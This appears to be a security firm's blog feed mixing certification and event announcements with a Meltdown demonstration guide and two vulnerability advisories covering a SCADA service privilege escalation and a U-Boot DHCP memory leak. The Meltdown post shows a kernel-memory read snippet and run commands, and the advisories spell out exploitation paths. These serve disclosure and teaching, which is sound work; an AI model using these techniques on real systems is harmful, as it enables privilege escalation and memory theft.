The “Strictly Confidential” label certifies our ability to process and protect information with very high confidentiality requirements. According to the TISAX participant manual, this label is relevant for “all companies that receive and process information that has a very high need for protection regarding confidentiality or is classified as strictly confidential or secret according to their own classification scheme”.

To meet the strictest confidentiality requirements, we have implemented the following measures, among others:

Encryption of sensitive data both at rest and during transmission
Strict access controls according to the principle of least privilege
Automated audit trails and logging for all access to confidential information
Secure remote access solutions with multifactor authentication
Regular review and updating of security measures

Both labels require the highest Assessment Level 3 with comprehensive verification measures and evidence.

Continuous improvement of our security measures

The TISAX assessment is not just a snapshot for us, but part of a continuous improvement process. We regularly review and optimize our security measures to always be at the state of the art and to meet the constantly growing requirements of the automotive industry.

Benefits for our customers

The successful renewal of our TISAX certification with the demanding labels offers our customers numerous benefits:

Integration into automotive industry supply chains by meeting industry-specific requirements
Legal certainty through compliance with strict information security and data protection standards
Protection of confidential information and prototypes at the highest security level
Trust through proven competence in handling sensitive data and materials
Knowledge transfer through our own experiences with the TISAX assessment

With our many years of expertise in the automotive field and our own TISAX certification, we are well-equipped to support our customers through our Automotive Security Assessment and to guide them in achieving their own TISAX certification.

In addition to TISAX, SCHUTZWERK also holds ISO/IEC 27001 and ISO 9001 certification. More details about our certificates can be found on our certification page .

SCHUTZWERK receives renewal of ISO 9001 and 27001 certifications

SCHUTZWERK GmbH — Wed, 16 Apr 2025 09:00:00 +0200

SCHUTZWERK receives renewal of ISO 9001 and 27001 certifications

We are very pleased to announce that SCHUTZWERK has successfully received the renewal of its certifications according to ISO 9001 (Quality Management) and ISO 27001 (Information Security).

These certifications underscore our commitment to meeting high quality standards and information security. It is important for us to make our internal quality management and process improvement measures visible externally, thereby giving our customers a clear signal of reliability and professionalism.

As a provider of IT security assessments and penetration testing , we understand the importance of verifiable quality standards and security measures for our clients. The successful recertification by independent auditors confirms that we implement the same high standards that we assess in our clients' environments within our own company.

Certifications as a Foundation for Trust

For many companies, certifications are an important factor when selecting service providers in the field of IT security. On our certification page , you will find an overview.

Assessment of IT Security in Companies: Penetration Tests and Other Types of IT Security Assessments

SCHUTZWERK GmbH — Wed, 09 Apr 2025 09:00:00 +0200

Organized by SCHUTZWERK and udis - Ulmer Akademie für Datenschutz und IT-Sicherheit, this seminar offers the perfect opportunity to take your IT security strategy to the next level.

What is it about?

In this practice-oriented seminar, participants will learn about various approaches to IT security assessments through practical examples. Christoph Wolfert, Managing Consultant at SCHUTZWERK, teaches the fundamentals of planning and implementing such assessments in a compact one-day seminar.

The following assessment types will be presented:

Vulnerability analyses
Penetration tests
Red Teaming
Phishing and Social Engineering assessments
ISO 27001 maturity analyses / inventories

The goal of the seminar is to provide a deeper understanding of the different types of IT security assessments. Participants will learn how the different types of assessments differ and where or when they are best used in a company. The seminar will also explain what preparations need to be made to ensure efficient implementation and achieve the most sustainable results to increase cybersecurity in the company.

Who is the target group?

The seminar is aimed at IT security officers (CISO, ISB, etc.), IT managers, managing directors, and other IT security professionals. Basic knowledge of IT and information security is advantageous.

EU Funding

This seminar is co-financed by the European Union. Thanks to this funding, participants from Baden-Württemberg and individuals aged 55 and over can benefit from reduced seminar fees.

Further Information and Registration

All details about the seminar and registration can be found on the udis website:

Assessment of IT Security in Companies – udis

SCHUTZWERK IS SPONSORING ELBSIDES 2025

SCHUTZWERK GmbH — Wed, 12 Mar 2025 11:00:00 +0100

The Elbsides 2025 Conference will take place in Hamburg on 13 June 2025. We are pleased to be a sponsor once again. Following the successful Elbsides conferences in recent years, this year’s event will again be a full-day conference.

Elbsides is a community-organized conference aimed at strengthening IT security in Germany. As a locally based security company in Hamburg, we are delighted to support this initiative as part of the local community and contribute to promoting networking and professional development in the industry.

We look forward to exciting presentations, including that of keynote speaker Mikko Hypponen, CRO at WithSecure. Mikko is a renowned expert, researcher, and author in the field of cybersecurity. Interesting discussions and valuable personal exchanges on site will make the event a special experience. Join us there!

SCHUTZWERK at Embedded World 2025

SCHUTZWERK GmbH — Tue, 04 Feb 2025 09:00:00 +0100

Meet SCHUTZWERK at Embedded World 2025!

We at SCHUTZWERK will be attending Embedded World 2025 in Nuremberg from March 11th to 13th! The Embedded World is a leading trade fair for experts in embedded systems.

📍 Visit us at booth 372 in Hall 5 and connect about embedded security. Our Embedded Security Assessments go deep — we dive into firmware analysis, hardware penetration testing , and side-channel attack resistance. Our expertise ensures that any vulnerability in your embedded systems will be closed before they can be exploited.

Discover How Attackers Exploit Weaknesses

Whether you’re working on secure boot implementations, cryptographic robustness, or supply chain security, our team of experts will be happy to answer your questions and introduce you to our services in Embedded Security Assessments .

We help identify and mitigate vulnerabilities in embedded systems through in-depth security evaluations, covering firmware analysis, hardware testing, and side-channel attack resistance.

We are here to support your projects and find out what you really need. After all, our motto is:

Mastering Cybersecurity from Silicon to Cloud.

Schedule a Meeting

To schedule a meeting with us, use the calendar below.

Get Your Free Ticket

You want to meet us but don’t have a ticket? No worries! Send us an email at request@schutzwerk.com to receive your free ticket!

We look forward to meeting you at Embedded World 2025! 🚀

Certified IT Security Officer Training

SCHUTZWERK GmbH — Sat, 01 Feb 2025 13:00:00 +0100

Seminar announcement: Certified training to become an IT security officer

The seminar organized by udis - Ulmer Akademie für Datenschutz und IT-Sicherheit and presented by SCHUTZWERK IT experts Dr. Bastian Könings and Christoph Wolfert offers IT specialists and managers the perfect opportunity to take their IT security skills to a new level and become certified as IT security officers.

What is it about?

This practice-oriented training course from SCHUTZWERK prepares specialists and managers specifically for the challenges of IT security. Participants learn how to develop security strategies, manage risks and secure IT systems through targeted measures.
Central topics are

cryptography
data protection law
Operating system and network security
Penetration tests

The training comprises a total of 15 days, divided into three seminar blocks, and ends with an examination day.

Who is the target group?

The seminar is aimed at IT security officers, IT managers, executives and other IT managers. Basic knowledge of IT and information security is helpful, but not a prerequisite.

Further information and registration

Certified training for IT security officers - udis

Research cooperation between SCHUTZWERK and Lauterbach to improve fuzzing in embedded systems

SCHUTZWERK GmbH — Tue, 10 Dec 2024 13:00:00 +0100

We are pleased to announce a research collaboration between SCHUTZWERK and Lauterbach. Together we will work on the exploration of debugger-assisted fuzzing using the Lauterbach TRACE32® debug and trace tools. The collaboration aims to develop new methods to improve fuzzing and manual pentesting of embedded and automotive devices under greybox conditions, even without available source code or symbols.

Project goals and steps

As part of this project, we plan to implement the following steps:

1. Data conversion and data collection

Development of a converter tool to feed exported tracing data from Lauterbach Debugger into Ghidra and enable the use of Ghidra Cartographer. The goal is to analyze the state of the firmware after fuzzing and manual testing, and to evaluate the coverage by common scanners and blind fuzzing without feedback.

2. Interpolation of the program flow between program counter samples

Since the program counter in limited debugging environments is expected to be captured in snooping mode with limited sampling rate, we need to interpolate the program flow. To do this, the basic block graph of the program is determined using Ghidra and exported.

3. Integration into guided fuzzing

The information obtained about the program flow and coverage is used as input for guided fuzzing that interacts with the embedded system via a communication bus.

Who is Lauterbach?

Lauterbach is the leading manufacturer of cutting-edge development tools for embedded systems with more than 45 years of experience. It is a well-established company, serving customers all over the world, partnering with all semiconductor manufacturers and growing steadily. Lauterbach’s TRACE32® debug and trace tools support more than 150+ processor architectures, much more than 10.000 individual chips, and cover even the most complex System-on-a-Chip (SoC).

The publication of the results is planned for the end of 2025. We are looking forward to this research project and the new opportunities it will offer for the security analysis of embedded systems.

Next post in series

Continue reading the next article in this series Embedded Fuzzing Part 1: Getting Lauterbach snoops to Ghidra
Follow us on Twitter , LinkedIn , Xing to stay up-to-date.

Meltdown in a can - Go meltdown yourself!

Nils Bauknecht, Youheng Lü — Mon, 25 Nov 2024 11:50:43 +0200

When Meltdown and Spectre were published in 2018, the reaction was immense. News outlets talked about how no computer was secure, and many experts were shocked to learn of the new class of vulnerabilities they introduced. Meltdown and Spectre, the first microarchitectural CPU vulnerabilities, seemed to redefine what was possible in the realm of hardware flaws. They affected, with few exceptions, almost every CPU manufactured between 1995 and 2018. With this guide, you will be able to demonstrate the Meltdown on your own Computer.

Thanks

This blog post would not have been possible without the awesome people at pwn.college .

The idea was originally a Capture-the-Flag challenge for their System Security course and has now been repurposed for this demo. This is also the reason why there is no source code: It is necessary to preserve academic integrity and preventing the students from easily modifying the exploit code to solve a graded challenge.

I would also like to thank Lorenz Hetterich for his valuable insights into the inner workings of Meltdown and Ruiyi Zhang for testing the exploit.

Purpose of this Guide

With the following guide, you will be able to use the Meltdown exploit within a virtual machine on your own Computer. To our knowledge, no such demonstration is otherwise available. So, next time you want to show your friends a revolutionary CPU exploit at a party, follow the simple steps below and enjoy!

If you are interested, below is a brief explanation of Meltdown. If you just want to run the demo, feel free to skip to the guide .

Explanation of Meltdown

Meltdown exploits the fact that permission checks and instructions run in parallel. This means that instructions may get executed before permission checks finish. While the instructions get discarded later, the microarchitectural state still gets affected by the instructions.

Our exploit tries to read from a memory address that belongs to the kernel. This should not work since normal user programs do not have permission to read kernel memory. However, due to parallel processing, the read execution is still executed before the permission check is finished: The memory contents are fetched and can be used to manipulate the microarchitectural state. As soon as the permissions check returns a result, the fetched information is discarded, but the CPU’s microarchitectural state is still affected.

Note: For the exploit to work the kernel memory address needs to be already loaded in the L1 Cache. Otherwise, the read is not fast enough to be executed before the permission check.

Writing to an Array

Before we attempted the Meltdown exploit, we created a large array. We also ensured that none of its contents were cached. Within the speculatively executed instructions, we compute a value based on the secret data then access a single page of the array, like seen below.

char data = *(char*) 0xffffffff81a000e0; //<-- this fails a permission check.
char tmp = array[data * 4096]; //<-- before the check fails, this instruction is still executed
// The second instruction affects the microarchitectural state of the CPU

While nothing should have happened, vulnerable CPUs within our array will have cached the page at the location data * 4096. It is now the only cached page within the array.

Reading from the Array

By measuring the response times when ‘probing’ the array, we can now determine which pages inside the array are cached. Because the page at the index accessed by the transient instruction is the only one cached, we can reverse the operation to get the data: data = index / 4096, where index is the index of the cached page.

Disclaimer

The above is a partially simplified explanation of the Meltdown exploit. If you are interested, more detailed and extensive explanations are available in the original paper , in this IEEE spectrum article and, of course, from various other sources on the internet.

Running the Demo

Prerequisites:

Linux Host system
CPU vulnerable to Meltdown

1. Ensuring Meltdown is present on CPU:

It should affect all Intel CPUs until the 8th generation and some 9th-generation chips. You can check for your specific CPU with:

grep meltdown /proc/cpuinfo

If your CPU is vulnerable, your output should look something like this

2. Install QEMU

On Debian-based Systems like Ubuntu you can Install QEMU with the following command

sudo apt update
sudo apt install qemu-system-x86 -y

3. Extract the folder

To make the demo as easy as possible, we already wrote the exploit and put it in a tar archive. The qemu launch scripts has been taken from the GitHub repository pwnkernel .

Download and extract the demo to a folder. Download Demo
Open a terminal and navigate to the folder you extracted to.

tar -xvf meltdown-yourself.tar.gz
cd meltdown-yourself

4. Launch the exploit

In this demonstration, we will begin by loading some data into kernel memory, e.g. the memory that is owned by the kernel. We should be unable to read this memory unless we have root privileges. Then, as a normal user, we will run a program, which will read and display the data we initially placed in the kernels' memory.

Run sudo ./launch.sh to start the virtual machine. The output should look like this:

Note It’s possible to run the Demo without sudo by adding yourself to the kvm group, which is explained in this Blog post

Now, we are ready to run the automated demonstration of Meltdown. We will try to read the flag at 0xffffffffc0002560

Run the exploit with

./meltdown_physical 0xffffffffc0002560 34

An output like the one in the image below should appear. If something else, like an exception, happens, exit the VM and retry. Ensure you are following all steps in order.

Congratulations! You successfully used the Meltdown vulnerability against yourself! In this demo you were able to read physical memory as an unprivileged user.

Now you can try reading out other information like the Linux kernel banner located at 0xffffffff82200140:

./meltdown_physical 0xffffffff82200140 100

Please note that this exploit only targets printable characters for demonstration purposes.

Let’s take a quick look at why you won’t be able to put this on a USB stick and steal your friends' pa

Why was Meltdown dangerous?

As explained above, Meltdown allows us to arbitrarily read data stored (almost) anywhere in system memory, as long as we can execute any code on the system. This can be used to steal things like passwords, private encryption keys, or other sensitive data. Some proof-of-concepts were created by the research paper’s authors that revealed Meltdown, including a tool to dump the full memory of a vulnerable machine.

We Cheated - Why this isn’t possible in the Wild (anymore)

Kernel Page Table Isolation

Even before Meltdown was publicized, the scientists who discovered it proposed a mitigation known as KAISER. KAISER was later renamed to KPTI and implemented in the Linux kernel once Meltdown became known. All other operating systems implemented similar mitigations. Kernel Page Table Isolation prevents user processes from seeing kernel memory. It was previously assumed that it was safe to map all kernel memory for each user process, because permission checks were used to prevent access. This was exploited by Meltdown, which led to the introduction of KPTI . This prevents Meltdown attacks on all modern operating systems. For the purposes of this demonstration, KPTI was disabled in the VM by starting the Linux kernel with the -nopti flag.

Preload Kernel Memory in L1 Cache

The standard Meltdown only works if the victim address is already in the L1 cache. To make exploit development easier, we have a Kernel Module that lets a user load an arbitrary address into the L1 cache accomplishes.

To exploit it without this kernel module, an attacker has to find a way to load victim addresses into the L1 cache. This may be achieved in multiple ways: For example, if the attacker’s goal is to read the password hash in a victim process, e.g., sudo, the attacker can attempt the Meltdown exploit multiple times until they hit the exact moment during which the password hash is loaded into the L1 cache. Another approach would be to leverage other microarchitectural attacks like Spectre to force a victim address into the L1 cache.

Conclusion

This demo of Meltdown is an excellent starting point into the world of CPU vulnerabilities and exploits. If you found this interesting, I recommend you check out our Blogpost on CacheWarp . Additionally, if you want to learn about other microarchitectural vulnerabilities, check out Wikipedia .

Planning and Implementing IT Security Assessments

SCHUTZWERK GmbH — Wed, 20 Nov 2024 13:00:00 +0100

Organized by SCHUTZWERK and udis - Ulmer Akademie für Datenschutz und IT-Sicherheit, this seminar offers the perfect opportunity to take your IT security strategy to the next level.

What is it about?

This practice-oriented seminar shows how companies can improve their IT security through targeted assessments such as penetration tests, vulnerability analyses, or phishing simulations. Christoph Wolfert, Managing Consultant at SCHUTZWERK, teaches the basics of planning and implementing such tests in a compact seminar day. With a maximum of 18 participants, a personal and intensive learning atmosphere is ensured.

Who is the target group?

The seminar is aimed at IT security officers, IT managers, managing directors, and other IT decision-makers. Basic knowledge of IT and information security is an advantage, but not a prerequisite.

Thanks to EU funding, participants from Baden-Württemberg can take part in the seminar at particularly low cost.

Further Information and Registration

Prüfung der IT-Sicherheit im Unternehmen – udis

SCHUTZWERK IS SPONSOR OF THE GERMAN OWASP DAY 2024

SCHUTZWERK GmbH — Wed, 30 Oct 2024 13:00:00 +0100

German OWASP Day 2024 is just around the corner! On the 12th and 13th of November 2024, the conference organized by the German branch of OWASP will take place in Leipzig. As in the previous year, SCHUTZWERK is an official sponsor of the conference. We are happy to do our part and support OWASP and its conference.

At the conference will be both technical and non-technical presentations on application security. If you want to network and exchange ideas with security experts from all over the world this is the place to be. SCHUTZWERK is happy to once again be a sponsor of the GERMAN OWASP DAY 2024, and we hope to meet some of you there!

THE ELBSIDES 2024 CONFERENCE IS ALMOST HERE

SCHUTZWERK GmbH — Tue, 10 Sep 2024 13:00:00 +0100

We’re Heading to the Elbsides 2024 Conference !

SCHUTZWERK has been awaiting the Elbsides conference for a while, and now it’s just around the corner. However, we are not only participating, but, as we have previously announced, we are also sponsoring Elbsides, as a Bronze Sponsor. Elbsides relies on sponsors to keep the lights on and we’re glad to lend a hand, as Elbsides is truly a conference worth supporting. The Empire Riverside Hotel in Hamburg on the 13th of September will be an exciting meeting of the minds with an interesting lineup of speakers, as well as the coming together of cybersecurity enthusiasts and experts alike. We look forward to meeting you all!

In addition, we would like to announce a special surprise that awaits those who will visit Elbsides! SCHUTZWERK Employees will be manning a booth featuring a hands-on Lockpicking Challenge! Most of the attendees will probably be more familiar with cybersecurity, but this challenge will test your finesse in regard to physical security. Whether you’re a seasoned pro or a first-timer, come by and test your skills with our selection of locks. It’s a fun, interactive way to learn more about physical security – and a great icebreaker for the opportunity to discuss cybersecurity and network later on!

We are looking forward to seeing everyone at Elbsides 2024!

Advisory: Privilege Escalation via Service Binary Hijacking in Vivavis HIGH-LEIT (CVE-2024-38456)

Lukas Krieg — Mon, 02 Sep 2024 12:00:00 +0200

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Title
=====
SCHUTZWERK-SA-2024-001: Privilege Escalation via Service Binary Hijacking in Vivavis HIGH-LEIT
Status
======
PUBLISHED
Version
=======
1.0
CVE reference
=============
CVE-2024-38456
Link
====
https://www.schutzwerk.com/advisories/schutzwerk-sa-2024-001/
Text-only version:
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2024-001.txt
Affected products/vendor
========================
HIGH-LEIT by VIVAVIS AG[0]. Version 4 and 5 are different product lines, both are affected:
HIGH-LEIT 4 Version 4.25.00.00 to 4.25.01.01 (patch available)
HIGH-LEIT 5 Version = 5.08.01.03 (no patch available, planned for 31.10.2024)
Summary
=======
HIGH-LEIT is a scalable SCADA network control system designed for infrastructure applications in the energy, water supply, wastewater, and environmental sectors, as well as associated utilities and industrial applications. HIGH-LEIT is used for operational networks in critical infrastructure.
The Windows services "HL-InstallService-hlnt" for HIGH-LEIT Version 4 and "HL-InstallService-hlxw" for Version 5 allow for an authenticated attackers in the Active Directory group "HL-TS-Gruppe" to escalate their privileges to local system.
Risk
====
The vulnerability allows attackers to execute arbitrary code as local system on systems where the "HL-InstallService-hlxw" or "HL-InstallService-hlnt" Windows service is running. Authentication is necessary for successful exploitation. The execution of the exploit is trivial and might affect other systems if the applications folder is shared between multiple systems in which case the vulnerability can be used for lateral movement.
Description
===========
During a penetration test, SCHUTZWERK tested a terminal server part of an internal OT Network. The software HIGH-LEIT 5 was found to be installed on this terminal server.
HIGH-LEIT 5 has a windows service named "HL-InstallService-hlxw", that runs as local system with start mode "autostart". By default, for affected versions, the executable "D:\hlxw\update\bin\prunsrv.exe" is modifiable by the Active Directory group "HL-TS-Gruppe". The granted modify permission on "D:\hlxw\update\bin\prunsrv.exe" is inherited from the modify permission on the folder "D:\hlxw". The Active Directory group "HL-TS-Gruppe" is needed for every user interacting with the HIGH-LEIT software. This means this exploit is available from any HIGH-LEIT user with low privileges (e.g. auditors with read-only permissions). The user can modify the executable "prunsrv.exe" and wait for or force a system reboot. Afterwards the modified "prunsrv.exe" is executed as local system on the server.
Solution/Mitigation
===================
For HIGH-LEIT Version 4:
- - Update to version 4.25.01.02 or newer, or
- - apply the vendors workaround via GPO to mitigate the vulnerability, or
- - manually remove the modify permission of the Active Directory group "HL-TS-Gruppe" on the folder "D:\hlnt".
For HIGH-LEIT Version 5:
- - Update to version 5.8.01.04 (release planned for 31.10.24), or
- - apply the vendors workaround via GPO to mitigate the vulnerability, or
- - manually remove the modify permission of the Active Directory group "HL-TS-Gruppe" on the folder "D:\hlxw".
Disclosure timeline
===================
2024-05-14: Vulnerability discovered
2024-05-14: Vulnerability reported and presented to affected customer
2024-05-16: Vulnerability presented to vendor
2024-05-16: Vulnerability details reported to vendor
2024-05-17: Vendor started working on patch
2024-05-22: Vendor started deploying workaround to customers
2024-06-05: Green light from customer for Advisory
2024-06-13: Patch for HIGH-LEIT 4 finished
2024-06-13: Meeting with vendor to plan disclosure/patch release
2024-06-14: CVE-2024-38456 reserved
2024-08-16: Vendor finished deployment of patch/workaround for all affected customers
2024-08-16: Meeting with vendor to plan disclosure
2024-08-23: Meeting with vendor to plan disclosure
2024-09-02: Disclosure by SCHUTZWERK
2024-09-02: Disclosure by vendor at https://www.vivavis.com/service/it-security-bulletin/
Contact/Credits
===============
The vulnerability was discovered during an assessment by Lukas Krieg (lkrieg@schutzwerk.com) of SCHUTZWERK GmbH.
References
==========
[0] https://www.vivavis.com/loesung/leittechnik/high-leit/
[1] https://www.vivavis.com/service/it-security-bulletin/
Disclaimer
==========
The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The most recent version of this security advisory can be found at SCHUTZWERK GmbH's website ( https://www.schutzwerk.com ).
SCHUTZWERK Advisories: https://www.schutzwerk.com/blog/tags/advisories/
SCHUTZWERK Advisory Policy: https://www.schutzwerk.com/en/advisories/
-----BEGIN PGP SIGNATURE-----
iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmbVfC0aHGFkdmlzb3Jp
ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrvLwhAAmq8ALbZdWarhHZGgPAMJ
5mU/24qCCY5M3roi4zBv9GFzSbJVF4TdgpceOkyrCYHtTZWGEYdc8ewd6DLarweH
Kcj+KyCA6JIbb94E2CVrDAXgpjJWsvG1CSvHax+erG/FppEk/ud9t+DJhCSVbkMT
KeqTz1G02tpKnHVgd2ogVF9ydJVdEcV4QJD/tkUfQukWomIGNRt+JNoxcCv362H1
fk3uVghrXxWeo3P0oDvWg4S2+3IEZPPtW1PCqfo9SFO2Ll7xF/2015Hl1Sn0TOAA
y4JJqDNOwIN5hIP6JvIs+W6uLLU3IGFUEWg1CiplOY3CC1kfEorQtvsDamNq9QWF
2r6CaWNN2FYpHkiEygYJsnn8Z3vzqqQQnaym2mwlsxe0ggutADCg2FbkybqTUF+D
fUGoQjaq7eojUTGS7fgNlOUua2euImjv9NMpzg00yMb6os6P+HetT+fv2G67TLKS
ptqQ73H+On4h2DP/DPkF1q7hBBZtT1I2Xx6er65AtSKjwOsLBOWSR1BNW+QJ/D56
pPhYHR+lVakHO/TMzILys5dPSXY3TU1iX0XpgvddIqONgViMR54a5MV/Vv1lL9xb
qEcGtqtX84cg74vQuwUbl69pP+69Y+ACDoBdaemRex1tjR6seFBI27XRsn+E8a+a
kQGdwKyB2qT0UNuLyFhcVi4=
=3K1g
-----END PGP SIGNATURE-----

ASQF Safety & Security Day 2024: In-depth insights into cybersecurity from SCHUTZWERK experts

SCHUTZWERK GmbH — Tue, 27 Aug 2024 12:00:00 +0100

We are pleased to be participating in the ASQF Safety & Security Day 2024 on September 17 in Wiesbaden! This event offers a unique opportunity to experience the latest trends in hardware and software development in the field of IT security. We are proud that two of our SCHUTZWERK experts, Dr. Bastian Könings and Heiko Ehret, will provide in-depth insights into two highly topical cybersecurity issues during the event.

A brief overview of the two SCHUTZWERK presentations

Dr. Bastian Könings: Trends in Cybersecurity from Silicon to Cloud"

Dr. Bastian Könings from SCHUTZWERK addresses the challenges of digitalization, focusing on security across embedded systems, IoT, and cloud infrastructures. He discusses hardware vulnerabilities, strategies for traditional IT environments, and the growing security demands in cloud computing. The keynote offers practical recommendations for adapting security measures to meet regulatory requirements and optimize business operations.

Heiko Ehret: “Breaking in trhough the wall: side-channel attacks anf fault injection”

Heiko Ehret, Senior Consultant at SCHUTZWERK, delves into the risks of side-channel attacks and fault injections, which target system vulnerabilities. He explains how attackers can extract sensitive information and exploit system faults to bypass protections. Ehret emphasizes the importance of awareness and proactive measures to defend against these specialized threats.

The SCHUTZWERK presentations in detail

Keynote by Dr. Bastian Könings: “Trends in Cybersecurity from Silicon to Cloud”

In his keynote speech, Dr. Bastian Könings, Managing Consultant at SCHUTZWERK, will explain the comprehensive challenges posed by increasing digitalization and the associated cyber threats. His presentation will cover a broad spectrum, ranging from security in embedded systems and IoT devices to complex cloud infrastructures.

Main subjects of Dr. Köning’s presentation:

Hardware security in IoT and embedded systems: Dr. Könings outlines how security requirements at the hardware level are changing due to the increasing networking of devices. He highlights the risks arising from vulnerabilities in the hardware and shows what measures can be taken to minimize them.

Cybersecurity in traditional IT infrastructures: Another focus will be on traditional IT environments, which continue to form the backbone of many companies. Dr. Könings will present practical strategies to protect these systems against modern threats.

Security in the cloud: As more and more data and services are moved to the cloud, the requirements for their security are also increasing. Dr. Könings explains the new challenges that arise and how companies can optimize their cloud strategies through targeted security assessments.

Regulatory requirements: Adapting to new regulations and legal requirements is a constant for businesses. Dr. Könings will demonstrate how companies need to continuously adapt their security strategies in order to both meet regulatory requirements and make their operations efficient.

The keynote aims to provide the audience with concrete and practical recommendations on how they can effectively improve their security measures. Dr. Könings focuses in particular on how tailored security assessments should be designed depending on company size, core business and maturity level of IT security processes.

Presentation by Heiko Ehret: “Breaking in through the wall: side-channel attacks and fault injection”

In his presentation, Heiko Ehret, Senior Consultant at SCHUTZWERK and expert for embedded systems, sheds light on one of the most invisible and at the same time most dangerous threats in cybersecurity: side-channel attacks and fault injections. These attack methods exploit physical and logical vulnerabilities in systems to extract confidential information or bypass protective measures.

Main subjects of Mr. Ehret’s presentation:

Passive side-channel attacks: Heiko details how attackers extract secret information such as crypto keys by analyzing side-channels, such as power consumption or electromagnetic emissions. He gives practical examples that illustrate how such attacks work and what countermeasures companies could take.

Active bug injections: In addition, Heiko presents the method of fault injection, in which attackers deliberately cause faults in systems through targeted disruptions in the power supply or by other means. These errors can be used, for example, to reactivate development interfaces such as JTAG and thus gain deeper access to the system.

Prevention and protective measures: Heiko explains not only the technical aspects of these attacks, but also looks at how companies can protect themselves against them. He places particular emphasis on raising awareness of these complex threats, because only those who are aware of the dangers can defend themselves effectively against them.

In his presentation, Heiko Ehret shows how important it is for developers and security experts to understand and recognize these invisible attack vectors. Only through targeted measures and sound preparation can companies protect their systems against such highly specialized attacks and secure their digital future.

Register now and take part in ASQF Safety and Security Day 2024!

The Safety & Security Day 2024 is the perfect opportunity to find out about the latest developments in IT and cybersecurity. Our SCHUTZWERK experts provide you with in-depth insights into current threats and practical solutions. Take the opportunity to exchange ideas with industry colleagues and make valuable contacts. Secure your place today and be there when Wiesbaden becomes the center for cybersecurity. Register now via this Link

We look forward to meeting you at the Safety & Security Day 2024!

Advisory: Buffer overread in U-Boot DHCP (CVE-2024-42040)

Simon Diepold — Mon, 19 Aug 2024 10:00:00 +0200

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Title
=====
SCHUTZWERK-SA-2024-004: Buffer overread in U-Boot DHCP
Status
======
PUBLISHED
Version
=======
1.0
CVE reference
=============
CVE-2024-42040
Link
====
https://www.schutzwerk.com/advisories/schutzwerk-sa-2024-004/
Text-only version:
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2024-004.txt
Affected products/vendor
========================
Das U-Boot, https://docs.u-boot.org
Summary
=======
Das U-Boot (U-Boot) is a widespread open-source boot loader used in embedded devices to perform various low-level hardware initialization tasks and boot the device's operating system kernel. During an embedded security assessment, we identified a buffer overread vulnerability (CWE-126) in the DHCP implementation of U-Boot that could leak memory onto the network. The amount of leaked data depends on the later use of the hostname, DNS-server IP, gateway IP, or other DHCP options in unencrypted network traffic. The vulnerability has been present since the "Initial revision" commit (3861aa5) from 2002.
Risk
====
An attacker with access to the local network and faster response times than the default DHCP server can trigger a memory leak by responding with malicious DHCP offers to a vulnerable U-Boot DHCP client. In the current implementation, only 4 Bytes of data can be leaked via gateway or DNS server address. When net_hostname would be used and also sent over the network, 32 Bytes could be retrieved. When the bp_vend field is filled with zeroes besides the magic number, it could also lead the loop to continue outside the packet to process data. This can cause further data to be leaked when values like 0x1,0x3,0x6, and 0x12 are present in that data. When further vulnerabilities can be found they might be combined to achieve further harmful impact to the system.
Description
===========
After U-Boot sends an initial DHCP request, the vulnerable bootp_handler gets registered as a callback for incoming packets. The handler first checks if the received packet is the expected reply packet. If VENDOR_MAGIC is in the first four bytes of bp->bp_vend, the address of bp->bp_vend[4] and the total length of the packet is passed to bootp_process_vendor (net/bootp.c:381) without being reduced to len-(offsetof(struct bootp_hdr,bp_vend)+4). There is also a missing check whether the first four bytes of bp->pb_vend[] are in range of the packet length before retrieving them to compare with htonl(VENDOR_MAGIC).
In bootp_process_vendor, an incorrect end address is then calculated based on the full packet length (net/bootp.c:312) instead of the rest of the bp_vend buffer size. Then, the function increases the ext pointer until it no longer points to zero bytes within the too-long buffer range or when one byte is 0xff. When a none-zero value is discovered the ext pointer is passed to bootp_process_vendor_field.
In bootp_process_vendor_field, the de-referenced value of the passed pointer is used to select the case for processing the field, and its length is de-referenced from ext+1. Based on the selected case, values are then copied to variables and buffers like net_gateway.s_addr or net_hostname from ext+2. The copied lengths are only limited by the size of their destination. The end of the bp_vend structure or the end of the packet is never checked in bootp_process_vendor_field.
This allows an attacker, who can respond to DHCP requests, to craft a packet that causes the code to copy the contents of the target's RAM directly following the received packet into parameters. These parameters are sent via the network during later use, leaking the RAM content to the attacker.
Solution/Mitigation
===================
We recommend providing an adequate length to bootp_process_vendor to prevent the while loop from stepping outside the packet frame and checking in bootp_process_vendor_field if the copied data is still within the packet structure's range.
Disclosure timeline
===================
2024-06-21: Vulnerability discovered
2024-08-19: Vulnerability reported to public mailing list by request of maintainer.
Contact/Credits
===============
The vulnerability was discovered during an assessment by Simon Diepold of SCHUTZWERK GmbH.
References
==========
Disclaimer
==========
The information provided in this security advisory is provided "as is" and
without warranty of any kind. Details of this security advisory may be updated
in order to provide as accurate information as possible. The most recent
version of this security advisory can be found at SCHUTZWERK GmbH's website
( https://www.schutzwerk.com ).
SCHUTZWERK Advisories: https://www.schutzwerk.com/blog/tags/advisories/
SCHUTZWERK Advisory Policy: https://www.schutzwerk.com/en/advisories/
-----BEGIN PGP SIGNATURE-----
iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmbC+YgaHGFkdmlzb3Jp
ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrtSeRAAi6OrwHBpbFgKlyqROQnw
zYxmHTYBiWzBEEmI1zN+iNb5uQlnZXgBoodbEneiRmVQDSiT4zT/DWe3EGV2TlRR
56hEIGvkvleURqCjwRYeYnPF3Ef/XMTvTu/x08h8UfGr7XNwhwCpANxUTE7aI01b
jZLa4jDv8vpNd7JKNF32S2Ak6GRjfEE9aEAxUKliNXCA5SU1gYvOWQ+BJ0oth7fN
grkTKffltk8dUBFy8TsrxcAG5ye4f1Dvm51dU8JNPBLkmouOrEvX1K4UTjvAyD8e
bCn2dXs2rDLfywrTPV0k2zj3APZiwhYxNA3MaTUGscZAIUMn3WE/cUyYDpQDqOYx
wrZzz9K59m+x8F6c1lBUxlmU3t9Z15/i/tL6Kropb+HDxjWaLCZPG3dzdlR54/fn
gvzS393FNWakNNAJIqN2jvvol+zvJGn2rsSsfp5CPEdrQEHgvQa0TkBOpdtFZ/h1
